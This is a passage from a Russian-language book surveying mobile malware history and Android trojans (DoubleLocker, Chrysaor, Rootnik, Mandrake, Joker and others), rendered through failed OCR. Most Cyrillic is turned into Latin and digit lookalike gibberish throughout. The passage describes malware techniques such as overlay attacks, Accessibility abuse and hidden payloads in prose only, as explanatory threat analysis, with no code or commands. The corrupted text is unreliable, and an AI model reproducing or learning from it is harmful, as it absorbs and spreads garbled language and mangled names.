Kpome mmdpoBaHus gaHHBIX, ransomware Taloke MOTYT OJIOKMpoBaTh CMapT(oOH aApyru-
mu cnocobamu. Hanpumep, wudposansmk DoubleLocker (puc. 12.6), kpome mmdpo-
BaHWsA JaHHbIX, 6nokupoBan cMmaptdoH PIN-komoM M yctaHaBnuBan cebs B KauyecTBe

Puc. 12.6. Coo6weHnmne DoublelLocker
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nedontHoro nayHyepa. YroObl NMoMyddTh OOCTYN K CBOeMy cMapTdOHy M JaHHBIM Ha
KapTe MaMsATH, NnoJisb3oBartenb fo/bkeH 6b11 3aratuth 0.0130 BTC. Tlocne storo gaiinsl
pacuiidpoBbiBanuch, a PIN-kox copacbiBasics.

UHTEPECHbIA ®AKT

CornacHo uccnegosanuio Qihoo Android ransomware research report (http://blogs.360.cn/
360mobile/2016/04/12/analysis_of_mobile_ransomware/) 6onblwas 4acTb ransomware
(84%) Hanucana npsimo Ha Android-ycTpoicTeax ¢ nomoLbio MoGunbHomn cpeabl paspabor-
ku AIDE.

Adware

Adware — CpaBHHTE]IBHO HOBBIM THIT 3TOBPEJHBIX MPUIOKEHHM, NOTYYUBIIMX PACIIPO-
cTpaHeHHe Ha cMapTdoHax. OOBIYHO TakHe MPHIOXKEHHS HE HAHOCAT Bpela YCTPOHCTBY
WM MONb30BaTEIbCKUM AaHHBIM, HO arpecCMBHO TNMOKAa3bIBAaIOT peksiaMy JIMOO 3acTaBiis-
IOT MOJIb30BaTENs YCTAHOBUTD H 3aIlyCTHUTh APYTO€ MPUIIOKEHHUE.

Cpennecratuctuyeckuit Adware paboTaeT Tak: NpH 3amycke WIH Yepe3 ONpeieseHHbIe
HHTEpPBaJIbl BPEMEHH OHO CKaYMBAaeT Ha KapTy MaMATH HECKOJIBKO IPYTHX MpPUIIOKEHHH,
KOTOpBIE CIIEZYeT BCYYMTh MOJIB30BATENIO, H BPEMS OT BPEMEHH MOKa3bIBaET EMY JHAIOT
ycraHoBkH. [lonp3oBaTenH OT 3TOro He B BOCTOpre, HO GOJIBLIMHCTBO U3 HUX BHE OMmac-
HOCTH: YCTaHOBKY M3 CTOPOHHHX HCTOYHHKOB HEOOXOHMO BKJIIOYHTH, 3aTEM YCTAHOBUTD
peKIaMHUpyeMoe MPUI0XKEHHUE, 3aTEM 3aITyCTHTh €TO.

OnHako ¢ koHuna 2016 roga HameTwnach HoBas TeHOeHUMA: Adware, 3aqelCTBYIOLINI
BO3MOXKHOCTH (peiimBopka DroidPlugin. [Tocnenuuii npeacraBnser co6oii HeuTo Bpoae
BUPTyaJbHOM MalIMHBI Ui MpuioxeHHH. OH Mo3BOJISeT HanucaTh MPHIOXKEHHE, KOTO-
poe Oyner crioco6HO 3amycKaTh Jpyrue MpWIOKEHHs BHYTpU ceOs, MpU4YeM He MpOCTO
3allyCKaTh, a 3allyCKaTh aBTOMaTHYECKH M aBTOMaTH4YECKH )K€ YCTaHaBIMBaTh. JpyrumMu
CJIOBaMH, UCTIOJB3YIOIKH 3TOT (peliMBopk Adware MOXKET HE3aMETHO CKayaTh MPHIIO-
XKEHHE Ha KapTy MaMATH, YCTaHOBHUTH €ro BHyTpb cedd, co3aaTh Apibik Ha PaboyeM cto-
Jie ¥ 3allyCTUTh, a CO3AaTrellb YCTaHOBJIEHHOrO MPUJIOXKEHHUS MOJyYHUT 32 3TO AECHEXKKY.
OnuH u3 npuMepoB Takoro Adware — npuioxkenue Clean Doctor, yxe ynaneHHoe U3
Play Store.

Click fraud

Click fraud — e1ue oauH THI 37IOBpEAHBIX MPUIOXKEHHUH, NOTyYHBLIMHA pacrpocTpaHeHHe
C pocTOM Moy aipHOCTH cMapTdoHoB. Kak v B mpenpiayiueM ciiyyae, Takue NpUIIOXKe-
HUSL He MpPEACTaBIAIOT ocodoro Bpena. Mx coszmartenu 3apabaThIBalOT Ha pekiiaMe, HO
BMecTo nokasa 3noBpen Click Fraud kimkaeT nmo pexkiname B CBOeM OKHE WIM B OKHaX
OPYTHX TPUIIOKEHUH.

B 0oCHOBHOM Takue MPUIOKEHUS Pa3deNAIOTCA HA JBa THUMA: TE, YTO UCIIONb3YIOT CEPBH-
col Accessibility ayis mosiydeHHUs BO3MOXKHOCTH HOKMMaTh Ha JIIOOBIE 3JIEMEHTHI MHTEP-
teiica, u Te, yTo Mcnonb3ytOT API ViewGroup.dispatchTouchEvent, MO3BOMAIOLIMIA MPUIIO-
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XKCHHUIO «KJIMKHYTb» Ha CBOH COOCTBEHHBIE JJIEMEHTHI, T. €. Ha pE€KJIaMy, KOTOPYKO OHO
CaMoO K€ IMOKa3bIBACT.

Bropoit Tun Haubonee npocTolt U NPUMHUTHBHBIA. PeklaMHas ceTb MOXKET JIETKO OTcie-
IUTh €ro, aHAIM3UPYS, C KaKOi NEepHOAUYHOCTBIO MPOUCXOIAT KIIMKH, MO KaKUM 4acTAM
0OBSBIIEHHS, A TAKKE KAaK OHH «BBITJIAAAT»: JaBlI€HHE, IUIOILAb, JJTUTEIBHOCTb HaXKaTHs
u 1. 1. [IpunoxeHue, B CBOIO o4epeb, MOXKET MONpoOoBaTh OOMaHyTh PEKIaMHYIO CETh
MyTEM COXPaHEHHUs MapaMETPOB MOCIEIHEr0 HAXKaTHA MOJIb30BATEN M UCIIONB30BATh UX
I HKaTHA N0 pekiiaMe M pasdpoca BpeMeHH Haxatuid. KpoMe Toro, npunoxxeHue mo-
XeT BHIOMpaTh, C KaKOW peKJIaMHOM CEeThIO paboTaTh, a KaKyo JIyullle OCTaBUTh B MOKOE.

IlepBeiii THIT MOAOOHBIX 37I0BPENOB UCHONB3YeT cepBUC Accessibility, koTopeiii mo3Boss-
€T HaOKMMATh Ha MPAKTHYECKH JIIOOble 4acTH JIOOBIX MPHIOKEHWH M CaMOH CHUCTEMBI.
KpoMe BO3MOXKHOCTH Ha)XHMMAaTh Ha peKjiaMy, TaKHe MPUIIOKEHUS TaKkKe MOTYT MPHHO-

CHTh XO3iMHY INpPUOBUIb 3a CUET YCTAaHOBKHM peKJlaMHpyeMbIX mpuioxeHui (installation
fraud).

OnHako y Takux click-00TOB ecTh HEAOCTATOK: OHM JTMOO AOMKHBEI KakKMM-TO obpa3om
3aCTaBUTh MMONB30BaTENsA BKIIOYHTH CBOM cepBUC Accessibility, tubo ucnonp3oBarhb ara-
Ky Cloak & Dagger, 4To6bl BKJIIOYHTB €10 HE3aMETHO.

A kak xe apyrue OC?

KoHeuHo ke, HCTOpUs BUPYCOMMUCATEILCTBA He OIPaHUYMBAETCS TOJBKO JIMLIB M1aTdop-
moit Android. OC ot Google cTana 3TakvMM JIOTHYECKUM 3aBepLIEHHEM 3TOM 3MOMeH,
NpPEeBPaTHBLIUCH B CUCTEMY, KOTOpas OJHOBPEMEHHO CTajla U JOMHHHUPYIOLIEH B BEK IO-
BCEMECTHOIO PacHpOCTPaHEHHUS MOOWIBHBIX YCTPOWCTB, M JOCTATOYHO OTKPBITON s
nonb3oBareneid. Hactosmas uctopus MOOHIBHBIX BUPYCOB Hayanach 3aJ0Jir0 OO MOSB-
nenus Android emwe B Te BpeMeHa, KOrAa Ha pbIHKE TOCHOACTBOBadM Symbian u
Windows Mobile.

Ewe B 2004 rony xakepckas rpynnuposka 29A npoaeMoHCTpHUpOBalia pUMeEp YEpBs IS
Symbian Series 60, HazpaHHoro Bnocneactsuu Cabir u ktaccuduppoBanHoro Jlabopa-
topueit Kacnepckoro kak Worm.SymbOS.Cabir. YepBs pacnpocTpansnics yepes
Bluetooth u He nenan HuUkakMX 3710BpeIHBIX AEHCTBHIA, KpOME AEMOHCTpALMU cooOLLe-
Hus «Caribe» mocne BiItoueHHs cMapTdoHa. YuacTHUKH 29A pa3ocnany BUpPYC Benmy-
IIHM aHTHBHUPYCHBIM KOMMAHHAM Kak NMpHMeEp, a 3aTeM OIMyOJMKOBAJM €ro WCXOAHBIH
KOJI, M3-3a Yero BIOCJIEACTBHH MOSBUIOCH HECKOJIBKO MOAUGHKALMKA YepBs, Ha 3TOT pa3
HaNICHHBIX «B AWKOM MpUpPOAEY.

Cmycts Mecsau Obl1 oOHapyxeH nepBblii BUpyc ms cuctem Ha 6aze Windows CE nop
Ha3BaHHeM Virus.WinCE.Duts. OH nopaxan onepaunonssie cuctemsl PocketPC 2000,
PocketPC 2002, PocketPC 2003, He ymen pacnipocTpaHaTbes yepe3 Bluetooth unu MMS,
HO MHGULMPOBAJI BCe HailleHHbIE MPUIOKEHUS Ha caMoM yctpoiictBe. Kak u Cabir, oH
Obi1 metuieM 29A U Taioke ObUT co34aH U1 JEMOHCTPALIMM BO3MOXKHOCTH CYLIECTBOBA-
HHs oflo6HOro poaa 31oBpeaoB. O6 3TOM, KCTaTH, MOXKHO JOTafiaThCs MO UHTEIUIUI€HT-
HOMY COOOLUEHHIO, KOTOpOE MOSABIIOCH MOCIe 3allycka MHQUUMPOBAHHOTO MPHIIONKE-
HUs: «Jloporo# nonb3oBaresb, 1 MOry pacrnpocTpaHUTbC?» M kHomkam «[la/Het».
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Coycts Mmecau s Windows CE 6bu1 o6HapyxeH mnepBbiii 63kmop: Backdoor.
WinCE.Brador. Ilocne 3amycka 310Bpe IpONUCHIBAJICA B aBTO3arpy3Ky, a 3aTeM OTKpbI-
BaJl CETEBOHM MOPT M OXMAAI yJajieHHble MOAKIIOYEHHA. Bakaop moamepxuBan Takue
KOMaH/IbI, KaK MoJlydeHHe crucka ¢aiijioB Ha YCTpOMHCTBe, 3arpy3ka ¢aiina, nokas SMS-
coo0LIeHHH, nomyyeHue (aiina ¢ ycTpoicTBa U BHINOJIHEHHE ONpeeICHHON KOMaH/bl.

IMpakTuyecku cpasy nocne Brador Obi1 HatineH u mepBbiii SMS-TposiH, B 3TOT pa3 1is
Symbian. OH pacnpocTpaHsJCs B COCTaBe NMPOCTON Mrpsl Mosquitos, B 4ecTh KOTOpPoH U
nonyuynn cBoe MM — Trojan.SymbOS.Mosquit.a. [Tocne 3amycka OH HauHHaJI PacChUIKY
coo0eHuii Ha peMHyM-HOMepa. PaboTocnoco6GHOCTE UIphbl MOHOCTBIO COXPaHANACh, a
ee TUTYJIbHBIH 9KpaH ObUT yKpalleH COOOLIEHHEM O TOM, YTO Urpa Obuia KpAKHYTa HEKUM
SODDOM BIN LOADER.

BrniocneacTBMH KOMYECTBO M3BECTHBIX BPEJOHOCOB IS MOOHJIBHBIX YCTPOHCTB HAa4asio
CTPEMMTENBHO BO3PACTaTh, U MHOIME W3 HUX MCMOJBb30BAIH MHOTOYHCIIEHHBIE YA3BHMO-
ctu B Symbian. Hanpumep, Trojan.SymbOS.Locknut ncnons3oBan HEKOppeKTHYIO Mpo-
BEPKY HCIONHAEMBIX (paitnios, uTo6sl GnokupoBate paboty Bceit OC. Trojan.SymbOS.
Fontal 3ameHsan cucteMHble WpH(THI Ha MOIM(HLUMpPOBaHHBIE BepcHH, H3-3a yero OC
TaKXKe OTKasbiBalach 3arpyxarbci. Trojan.SymbOS.Dampig u Trojan.SymbOS.Hoblle
MOAMEHSTH CHCTEMHBIE MpHIoXkeHHd, a Trojan.SymbOS.Drever 6b11 ciocobeH 6:10kupo-
BaTh paboTy aHTUBHPYCHBIX MPHIOKEHHH.

ITocne Toro kak Ha creHe nosBuiack i0S, HEKOTOpbIE BUPYCONMCATEH MOMNBITAIHUCH TIE-
pexnounThes Ha Hee. OHaKo M3-3a napaHoHAaIbHOH 3akpbiTocTH AP OC M HeBO3MOX-
HOCTH YCTAHOBHUTDH NPHJIOKEHHUA U3 CTOPOHHUX MCTOYHHMKOB SMMIACMHH HE MPOM3OLLIO.
HeMHorouucneHHsle BHpYCHl OBUIM OpHEHTHPOBaHBI Ha B3JIOMaHHBIE YCTPOHCTBa
M B OCHOBHOM BBHIBOAWIM Ha 3KpaH pa3IM4Hble peKIaMHble U QHLIMHIOBbIE COOOIIEHHUA.
HauGonee npuMeyaTelbHBIM CTajl0 pa3Be YTO MOSABJIEHHME TposHa B caMoM AppStore.
IMpunoxenue noa HazeanueM Find and call, o6nanas pyHkunonanom VolP-kinenra, npu
9TOM COBEpLIAJIO TaKue AeUCTBHSA, KaK KOMMHPOBaHHE KOHTAKTOB Ha yIaJIeHHbIH cepBep U
PacchUIKy criaMa (Ha pyCCKOM S3bIKe).

Kak 6b1 To HH ObUIO, IUAEPOM MO YHUCITY BPEIOHOCHBIX MPOrpaMM s MOOWIBHBIX
yctpoiictB 661 M octaercs Android. O TOM, kakMe BPEOOHOCHI Ul 3TOM ILIaTGOpMBI
NOMyJIAPHBI cefiuac, MBI IOTOBOPHM B CJIENYIOLLCH IIaBe.
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BPeAOHOCHLIX NMPOrpamm

3a Gonee uem 10 ner cyuectBoBaHus Android 3y0BepAHbIE MPUTOKEHHUS! 3aMETHO 3BO-
MIOUMOHHUPOBAIA M HAYYWJIUCh MCIOJIb30BaTh COBEPIIEHHO HOBbIE BEKTOPBI aTakK H Clla-
Oble MecTa B cucTeMe. B 3Toi riiaBe Mbl paccMOTpUM Haubonee MHTepecHble 0Opasibl
MaJiBapH.

Toast Amigo

B Hos0pe 2017 ropa Gbin oOHapy)keH MepBbIH TposH, Ucnosb3yromui ataky Toast
overlay ans He3aMeTHOM YCTaHOBKM MpuioxeHUi Ha cMapTdoH. Toast overlay — ataxka,
3KCIUTyaTHpYIoLias o4eHb CTpaHHyo ys3BuMocTh Android (CVE-2017-0752, ot Android
4.4.4 no 7.1.2), xoTopas MO3BOJAET 3aCYHYTh MOJHO3KPAHHOE OKHO B MaJIEHbKOE OKOLL-
KO, NpeaHa3HauYeHHOe IS BbIBOJa WHGOPMALMOHHBIX cooOlEeHUH. TposH vcnons3yer
TaKoe OKHO, YTOOBI MEPEKPhITh KPaH, a B 3TO BpeMs OTKPBITb HACTPOMKH M 3aCTaBMUTb
NOJIb30BaTeIl HaKaTh Ha OMNpe/ie/ieHHble MecTa (HakaTue OyAeT MPOXOJMTh «CKBO3b»
OKHO), aKTUBHpYS TakuM oOpa3oM cepBUc Accessibility.

3aTeM, HUCMOJb3Ys AHAJIOTHYHBIH TPIOK, TPOSH BKJIIOYAET OMLHMIO, MO3BOJAIOLLYIO HH-
CTAUTUPOBATh NMPWIOKEHHS M3 CTOPOHHHUX MCTOYHHKOB, CKAYMBAET M YCTAHABJIMBAET HA
cMapThOH Ipyroi 3/10Bped W 3aBepllaeT aHTUBUPYChl. CKadaHHBIH 3710Bped, B CBOIO
oyepenpb, npeactaeiset coboi click-6ota. MHTEpecHO, YTO OH yMeeT yCTaHaBIUBATh CO-
eIMHEHHE C MPOKCH-CEPBEPOM, YTOOBI OOOMTH perMoHaNbHBIE OrPaHUUYEHUS Ha TOCTYII-
HOCTh pekiaMHbIX ceteii Admob u Facebook.

Android/Banker.GT!tr.spy

DTOT TPOAH CTaJl U3BECTEH OJlarofaps YMEHHIO «1€aKTHUBUPOBATh) aHTUBUPYCHI 6€3 MpaB
root. XoTs Ha CaMOM JeJjie OH O4eHb NMPUMHUTHBEH. Tak Ha3biBaeMas «PyHKUMUS N€aKTH-
BalMK» JejaeT clieyrollee: TPOsiH UMeeT POHOBBIH CEpBHUC, KOTOPbI MOHUTOPHT 3aIycC-
KaeMble MOJb30BaTeeM MPUIOKEHUS (IJ11 3TOr0 OH UCIOJb3YEeT MpaBa aAMHHUCTPATO-
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pa). Kak Toneko mone3oBartelib 3almyckaeT GaHKOBCKHUM KJIMEHT, TPOSH JEMOHCTPHPYET
MOBEPX €ro OKHa COOCTBEHHOE OKHO (Ha CaMoM Jefie 3TO BeG-CTpaHHLa) ¢ MOAAETbHBIM
OKHOM BBOJa KOHQUAEeHIHaNbHOH uHpopMauun. Ho eciiu nose3oBartesb 3amyckaeT oquH
U3 MepeYrClIeHHbIX B CMIMCKE aHTUBMPYCOB, TPOSH BO3BpalllaeT Mojb3oBatels Ha PaGo-
4uii cton. EcTecTBEHHO, eCii aHTUBUPYC YKe 3aITyLlieH, OH CMOKOMHO MPOAOKUT pabo-
TaTh B (OHe.

Chrysaor

Tposn Chrysaor uHTepeceH TeM, YTO K €ro CO3JaHHIO, CKOpee BCEro, MpWIOKHIAa PyKy
cKaHAanbHO u3BecTHas koMmnanusa NSO Group. Eie oqHa nHTepecHas 0co6€HHOCTh 3TO-
ro TPOsSiHA COCTOMUT B TOM, YTO OH HaueneH Ha Android 4.3 u Hixe.

Cpa3y nocne ycTaHOBKHM Ha cMapTdoH xepTBbl Chrysaor mony4aet root ¢ MOMOLIBIO 3KC-
mioiita framaroot, 3aTemM konupyeTt ce6s1 B CUCTEMHbIH pa3jiesl ¥ yJajseT MpUIoKeHHe
com.sec.android. fotaclient, OTBevawlLlee B cMapTdoHax Samsung 3a aBTOMaTHYECKOE
OOHOBJIEHHE, 3aTeM 3aIlyCKaeT Mpolecc cOopa AaHHBIX M 0XKUIAEeT KOMaHABI OT yaajeH-
HOro cepBepa.

TpOHH HCIIONB3YET WIECTh TEXHUK 060pa JAaHHBIX!

1. 3anycx )3 (0) TaﬁMepy g NIEpUOAUYECKHUX 3a4a4 BpOAC IOJTYUYCHHA TEKYLIEro MecTo-
MOJIOXKCHHA.

2. Oyepenp cbopa naHHBIX, KOTOpas TMOJydYaeT Takylo HHopMmauuio, kak SMS-
cooOLIeHHs, KypHasl 3BOHKOB, HCTOpHs Opay3epa, KajeHAapb, KOHTAKThI, MUCbMa H
coobmieHus MecceHmkepoB — WhatsApp, Twitter, Facebook, Viber u Skype. Ilpu
3TOM AN JOCTyMNa K JaHHBIM TPOSH CHayaJla JIOMaeT NECOYHHULTY MPUIIOKEHHUS, aenast
€ro KaTajlor B Mamnke /data/data AOCTYMHBIM /I YTEHHUS BCEM, a 3aTeM JeJlaeT AaMil
6a3bl JaHHBIX.

3. K yxe namMnHyThIM 6a3zaM AaHHbIX TposH nmoakmodaer ContentObserver'si U Habiro-
JaeT 3a MOSABJICHHEM HOBBIX COOOLIEHHUA.

4. CHATHE CKPUHLIOTOB C MOMOILLBIO MPAMOro JOCTYMA K YCTPOUCTBY /dev/graphics/£b0.

5. BcTpoeHHBIH Keinorrep, BHEAPAIOWMHA XyKH HanpsAMylo B OMOIHOTEKY /system/lib/
libbinder.so M MEpPEXBATbIBAIOIIMN OOBEKTBI ¢ MHTEp(EHCOM com.android.internal.
view.IInputContext.

6. dyHKUMS aBTOMATHYECKOro OTBETa Ha 3BOHOK, MO3BOJIAIOLIAs HAOpaTh HOMED >KEPT-
BbI, ¥ CKPBITO CJIyLLATh IPOMCXOASALLIEE BOKPYT.

Chrysaor umeer QyHKUHMIO CaMOJMKBHUAAUMH, KOTOpas cpabaThIBaeT B TpeX Cydasx: Mo
KOMaHJie OT cepBepa, yepe3 60 aHel mocne nociaeqHed yCHelHOH MOMBITKH CBA3AThCA
c cepBepoM J1M60 ecnu Ha yctpoicTBe nosButcs ¢daitn /sdcard/MemosForNotes. O mac-
wrtabax pacrpoCTpaHEHHS 3TOH BPEIOHOCHOHM MPOrpaMMbl MOXXHO CYOHUTh MO JUarpaM-
Me, npeAcTaBiIeHHON Ha puc. 13.1.
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Puc. 13.1. CtpaHbl ¢ Haubonbwum pacnpoctpaHeHnem Chrysaor

Rootnik

TposH Rootnik cran u3BecteH Oiaropaps NMpOABUHYTBIM TEXHHMKaM AJd 3aTpyJHEHHS
peBepc-MHKMHUPHHTAa M BO3MOXKHOCTH TOJYYeHHMs root Ha cMapTQOHAaX C YHUIICETOM
MTK. Byayu4u 3amyuieHHbIM Ha cmapT¢oHe xepTBbl, Rootnik nenaer cnenyromee:

0O szarpyxaer HatuBHyro Oubnuoreky SecShell, kortopas pacumdpoBbiBaeT ¢aiin
secData0. jar, 3arpy>aeT B aMATh M NIEPENAET EMY YIpaBIIECHHE;

O secbata0.jar B CBOKO OYepeAb HAaXOmWT (ailn KK.bin, paciIM(POBHIBAET €ro, TOXE
3arpy’kaet B IaMATh U 3aITyCKaeT;

O KK.bin 3arpy»aeT C YIMpaBJIAIOLIEro cepBepa elle OAuH 3amupoBaHHbIH apXuB, pac-
IMAKOBBIBACT €r0 U MEPEHACT YNMPABJICHHE classes.dex;

O nocnenHuii pacliMppOBBIBaET HECKOJBKO copepxkawuxcs B apxuBe ELF-daiinos
(ctaHmapTHbIA 3amyckaeMblit ¢aiin B OCHOBaHHBIX Ha aape Linux cuctemax), coaep-
JKALMX root-3KCIUIOMTBI U 3aITyCKaeT UX; :

O mnocre moiay4eHus mpae root Ha cMapTQOHe, TPOSH KOMUPYeT ceGs B CUCTEMHBIH KaTa-
JIOT /system/priv-app U OKHJIa€T KOMaH[ C YIPABJIAIOLIETO CEPBEPA.

Cpeau BO3MOXKHOCTEH TposiHa:

O ckpbITasg yCTaHOBKA U yJal€HHUE MPUTIOKECHHH;
O co3maHue SpIBIKOB Ha pabouyeM cTole;

O noka3 pexiaMbl U YBEAOMIICHHH;

O 3arpy3ka (QaiiioB.

Taxoxe TposiH criocoGeH OOHapy>KHBaTh YCTaHOBIEHHbIe B cucteMy Xposed, Substrate,
4T00Bl MPOTUBOAEHCTBOBATh aHATHU3Y C UX MIOMOILBIO, ¥ UCTIOIb3YEeT MHOXKECTBO TEXHHK,
NpEnATCTBYIOLIMX OTJIaZIkeé HATHBHOTO KOJAa TPOsSHA: CHIBHOE pacrnapasle/IdBaHue, 3a-
IIMTa OT Aamma namsaTtH U apyrue. [IpuHuun ero paboTsl mokasaH Ha puc. 13.2.
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Puc. 13.2. Cxema pabotbl TposiHa Rootnik

Mandrake

B 2020 romy sxcneptsl Bitdefender o6Hapyxunu B odpuuManibHOM MarasuHe NpHiOXe-
Huit s Android wnHoHckyto ManBapb Mandrake, koTopas cyuiecTBoBasia B MarasHHe
Kak MHUHMUMYM ¢ 2016 roaa.

TposiH cOCTOAN U3 TPeX KOMIIOHEHTOB, MEPBbIA M3 KOTOPBIX (Aponmnep) npeacTasis co-
60# BMOJIHE JIETUTMMHOE TPUJIOXKEHHE C peasibHO#M (yHKUHOHaBbHOCTHIO. Beero 6bio
00HapyeHO CeMb TaKHX MPWJIOXKEHUH: FOPOCKON, KOHBEPTEP BAIIOT, CKAHEP JOKYMEH-
TOB ¥ Apyrue. Co3aare/id TposHa CIEQWIH 3a MPUIOKEHUAMH, PEarpoBaId Ha OT3bIBbI
NOJIb30BaTeNeH U JaXke BBIKJIAbIBAJIH OOHOBJIEHHS C UCTIpaBIeHHEM 6aroB. Y HEKOTOPbIX
NPHIOXKEHHH ObLTH COOCTBEHHBIE CaiThl WM cTpaHHLbl B Facebook.
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I[lepBoe BpeMst mocie yCTaHOBKH NMPHIIOXKEHHS OHO mpocTo paborano. Ho B onpenenen-
Hblii MOMEHT cpabaTbiBasia (GYHKUMS APOIIepa, H OH CKauyMBaJl HAa YCTPOKMCTBO 3arpys-
4yuK. 3aTeM MOJb30BATENIO MOKa3bIBaNoCch coobIIeHHe 00 YCTaHOBKE HOBOTO TNMpPHIIOXKE-
HUs noa HazeaHueM Android system. [Ipu aToM U cam qponnep 6611 ciocobeH yaaneHHO
Biontovath Wi-Fi, cobupate uHdopmaumio 06 ycTpoHcTBe, CKpBIBaTh CBOE MPUCYTCTBHE
OT XKEepTBbl, ABTOMATHYECKHU YCTAHABIMBATH HOBBIE MPUIOKEHUSA H MOAJACPIKUBATH KOM-
MyHHKaumio ¢ ceppepom C&C.

3arpy3urk ObUI OTBETCTBEHEH 3a 3arpy3Ky M YCTaHOBKY HEMOCPEACTBEHHO MajBapH
Mandrake. [locne ycraHOBKH BpemoHoc moirydan mpaBa cepBuca Accessibility ¢ momo-
LbIO 3KPAHHOTO OBepJies C JIMLEH3UOHHBIM COTIalIEHHEM, 332 KOTOPBIM MPATAIOCh OKHO
nonyveHus npae (10 Android 9), nu6o npocto nokaspiBasi COOOLIEHHE O HEOOXOAUMOCTH
JaTh COOTBETCTBYIOLHME NpaBa. TakuM ke 06pa3oM OCYLIECTBIAIOCH OTKIIOYEHHE Orpa-
HU4eHHH Ha ¢QoHoByro paboty (Ignore battery optimization) U ycTaHOBKa BpeIOHOCA
B KauecTBe Ae(oITOBOro MpUIOKEHHUs Ui yrnpasieHus SMS-coobmenusamu. [Tomyuus
npaea Accessibility, Mandrake Taxke MOr NONTy4dTh NpaBa aAMUHUCTPATOPA, NEAKTHBU-
poeatb Google Play Protect, momyuuts paspelieHHe Ha YTEHHE YBEJOMIICHHH, XypHaia
3BOHKOB, MECTOIOJIOXKEHHs, KOHTAKTOB, 3alIUCh 3KpaHa U JpyTHe.

Bce 3t nonHomouus otkpbiBanM Mandrake mmpouaiiiie BO3MOXKHOCTH: INeEpechLIKa
Bcex BXoaslmx SMS-cooblueHnii Ha cepBep 310yMBILUIEHHUKOB; OTIPaBKa COOOLCHHUIA;
COBepILIEHHE 3BOHKOB; Kpaka HH(POpMAaLUMH U3 CIMCKAa KOHTAKTOB; aKTHBALUA M OTClle-
’KMBaHHE MECTOMOJIOKEHHs MoJb3oBaTens nocpeactsoM GPS; xulleHHe y4eTHBIX OaH-
Helx Facebook u ¢uHaHCcOBOW MHPopMaimu; 3anuck 3kpaHa. bonee Toro, Mandrake
Biutouan B cebss VNC-cepBep, MO3BOIAOIIMI MOMYyYHTh MOJIHBIA KOHTPOJIb Haj YCTPO#-
cTBOM ypnaneHHo. Takxke MalBapb OCyIUECTB/IANA (PUIIMHIOBBIE aTakK¥ Ha NMPUIIOKEHUA
Coinbase, Amazon, Gmail, Google Chrome, npunoxxeHus pa3nu4Heix 6aHKOB ABcTpa-
aunu u ['epmannu, cepBuc konBeprauuu Bamot XE u PayPal.

BpenoHoc craparenbHo u3beran 3apaxkenuii B ctpaHax CHI' (Ykpauna, benapyce, Kbip-
rei3cTal v Y3b6ekuctan), Adppuke u Ha birokaem Boctoke.

Joker

Joker MO>xHO Ha3BaTh caMo#t XHBYYel MalBapbio nocieaHux Jjet. CornacHo omy6auKo-
BaHHOMY kommnaHueid Google oryery, HauuHas ¢ 2017 roga no 2020 rox cneuHalIUCTHI
oOHapy)xunu B o0wei cnoxxHocTH okono 1700 mpwioxkeHuid, THPUIUPOBAHHBIX BpeLO-
HocoM Joker (oH >xe Bread). Kak MUHUMYM OZIHO Takoe CEMEWCTBO MaJiBapH ObUIH 3aMe-
yeHo cneunanucramu CSIS Security Group u nponukiio B Google Play: 24 BpenoHocHbIX
npuIokeHHs 61K 3arpyxeHsl 6omnee 472 000 pa3 B centa6pe 2019 rona.

M3HavanbHO ManBaphb Obia paspaboraHa 1uis ocyliecTBieHHs SMS-MolleHHHYeCTBa, HO
¢ TeX Mop MHOroe U3MeHuN10ch. OcOOEHHO Mmociie BBEAEHHS HOBOH MOJIMTHKH, OrpaHUYH-
BaOLIEH HMCMOJIb30BAaHME SEND SMS, a TaKKe TNOBBIIIEHUS AKTHBHOCTH 3amuThl Google
Play Protect. MI3-3a 3Toro HoBble BepcuH Joker HCNONB3YIOT ApYrod BHI MOLIEHHUYECT-
Ba: OOMaHOM 3aCTaB/IfIOT CBOMX )KEPTB MOAINMUCHIBATHECSA HAa pa3iMyHble BHIbl KOHTEHTA
WM NIOKYMNaTh €ro, orulayMBas co cyera MoOWIbHOro tenedoHa. YtoObl ocylecTBIATh
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3TO0 6€3 B3aUMOAEHCTBHA C MOJIb30BATEIEM, ONEPATOPBl MaJIBApH UCHONB3YIOT HHBEKLIUH
KIMKOB, kacToMHble HTML-napcepsr u SMS-pecusepsl.

Co BpeMeHeM Joker 3BOTIOLIMOHMPOBANT HACTONIBKO, YTO HCMOJB30BAJl MPAKTUYECKH BCE
U3BECTHBIE TEXHHKH CKPHITHA U 00dyckauun, a B Hadase 2019 roga B Google Play cranu
HaXoaMTh Bce Gosnblue BapuaHTOB Joker, 4acTh KOMIIOHEHTOB KOTOpOro Obuia BhIHECEHA
B HAaTHUBHBIN KOI.

B 2020 roxy sxcneptsl komnaduu Check Point cooOumnu, yro BHOBb 00Hapyxuiu Joker
B OHLHAIBHOM KaTajiore npuiokeHuid. Ha 3ToT pa3 TposiH ckpbIBajl BpeAOHOCHBIH KOJ
(BpenoHocHbI# ucnonHaemblid daiin DEX, 3akonupoBaHHblii Base64) BHyTpu ¢aiina Ma-
HUdecTa B JIETHTUMHBIX PUIOKEHHAX.

Ha stot pa3 ataka Joker npoucxoauna B Tpu 3tana. [IepBblii 3Tan — NoAroToBka nosies-
HoM Harpy3ku. Onepatopsl Joker 3apaHee BHEAPAIM BPENOHOCHBIH koA B (aiin MaHupe-
CTa, HO 3arpy3ka HeMoOCPeACTBEHHOTO Meioaa Mpoucxoauna He cpasy. Tak, Bo BpeMs
NpOXO0XIEHUs MpoBepok Joker naXke He MBITANICA 3arpy’kaThb BPEIOHOCHYIO TOJIE3HYIO
Harpysky, 4To MOMOIJIO OTNlepaTopaM MalBapy B O4YepeaHO# pa3 oOMaHyTh CpelcTBa 3a-
wuthl Google Play Store. JInmp nocne Toro, kak MexaHusmel OezonacHoctd B Google
Play Store omobpsanu npunoxxeHue, rnosje3Has Harpyska OIpejeNsiach M 3arpyxanach
y>Ke HEMOCPEACTBEHHO Ha YCTPOHCTBO JKEPTBHI.

B utore HoBas Bapuauus Joker Morna 3arpy)xaTh Ha YCTPOMCTBO JOMOJIHUTENbHbBIE Bpe-
JOHOCHbIE MPOrpaMMbl, KOTOpblE TalHO MOAMMCHIBAIN >KEPTBY Ha IUIaTHbIE CEPBHUCHI.
B oduumansHoM katanore Google 65u10 06HapykeHo 11 Takux 3apakeHHbIX MpPUIIOKeE-
HHH, KoTopble 6bUTH yaaneHs! u3 Play Store no 30 anpens 2020 rona.

MallLocker

Ewe oauH monroxupyumid Bua Maneapu — MalLocker. 9to BeIMorarens (ransomware),
NoApa3IeNAIoIIHUICA Ha HECKOJIBKO MOACEMENCTB B 3aBUCUMOCTH OT MCMOJIb3yeMOi TexX-
